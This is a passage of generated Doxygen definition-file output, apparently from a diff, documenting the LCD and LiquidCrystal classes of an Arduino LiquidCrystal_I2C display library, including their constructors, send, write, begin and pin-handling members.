sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'command'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '314'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a command to the LCD. + @discussion This method sends a command to the LCD by setting the Register + select line of the LCD. + + This command shouldn't be used to drive the LCD, only to implement any other + feature that is not available on this library. + + @param value Command value to send to the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1acf471f0d9fea7ea3f5c3279519c8b32c'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +size_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'write'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '327'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Writes to the LCD. + @discussion This method writes character to the LCD in the current cursor + position. + + This is the virtual write method, implemented in the Print class, therefore + all Print class methods will end up calling this method. + + @param value Value to write to the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a121fac7d916284d71af8b1fdd9ade2f6'; + sec-mem-virt = pure-virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '342'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD. This is a pure abstract + method, therefore, it is implementation dependent of each derived class how + to physically write to the LCD. + + Users should never call this method. + + @param value Value to send to the LCD. + @result mode LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'protected-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1aef093ba3f8e1016267b40ac235a0fa0f'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_displayfunction'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '349'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1ae47a0e2eff74431a39774b788d5761f4'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_displaycontrol'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '351'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1a726b9a68d091dd8683a18e83f3a8fd3c'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_displaymode'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '353'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1ac1374911fb145fea430c21092ada0c06'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_numlines'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '354'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + cp-fileline = '95'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 2; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 3; + node-label = 'LiquidCrystal'; + node-link = { + node-link-id = 'class_liquid_crystal'; + }; + node-child = { + child-id = '2'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 4; + node-label = 'LiquidCrystal_I2C'; + node-link = { + node-link-id = 'class_liquid_crystal___i2_c'; + }; + node-child = { + child-id = '2'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_liquid_crystal'; + cp-name = 'LiquidCrystal'; + cp-ref = { + ref-type = base; + ref-id = 'class_l_c_d'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a49d2bd8d26031a1c83bcbd73978a1686'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '50'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract 8 bit LCD constructors. + @discussion Defines the pin assignment that the LCD will have. + The constructor does not initialize the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a30e3d865c4b4a003a36cb45903f93644'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '53'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a0a0a8dfa7a2e775a031fd65f5c6366ec'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '62'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract 4 bit LCD constructors. + @discussion Defines the pin assignment that the LCD will have. + The constructor does not initialize the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a23124e6dd5ac4a9b6147629b96e91953'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '64'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1adb5f37d69809ed7c0772c74a4adff19b'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'begin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'cols'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rows'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'charsize'; + sec-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +LCD_5x8DOTS +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '79'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract LCD initialization. + @discussion Initializes the LCD to a given size (col, row). This methods + initializes the LCD, therefore, it MUST be called prior to using any other + method from this class. + + @param cols: the number of columns that the display has + @param rows: the number of rows that the display has + @param charsize: size of the characters of the LCD: LCD_5x8DOTS or + LCD_5x10DOTS. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a56142f8b3753bedd133e4139e5eb5089'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '93'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value Value to send to the LCD. + @result mode LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1ae45eec827b26174f73e9cf3ddda635af'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'init'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'fourbitmode'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '105'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the LCD pin allocation + @discussion Initializes the LCD pin allocation and configuration. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1adebd21f2955b1e193a6d24367833fd63'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'write8bits'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '112'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Writes an 8 bit value to the LCD. + @discussion Writes 8 bits to the LCD control data lines. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a52837217db49272eea03c9056cab36a8'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'write4bits'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '119'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Writes an 4 bit value to the LCD. + @discussion Writes 4 bits (the least significant) to the LCD control data lines. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a44d84c010396c993f124d2feb9dc794d'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'pulseEnable'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '127'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Pulse the LCD enable line (En). + @discussion Sends a pulse of 1 uS to the Enable pin to execute an command + or write operation. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal_1affd20665bda00d8b0e37d5ee87543e81'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_rs_pin'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '129'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal_1a29061eaa64c2e9f3b985ff52249b62a9'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_rw_pin'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '130'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal_1aef7d920abae32b5faa2625ffa3879c4b'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_enable_pin'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '131'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal_1a0b2da39d056aed9940b0525e554668d7'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_data_pins'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '132'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = 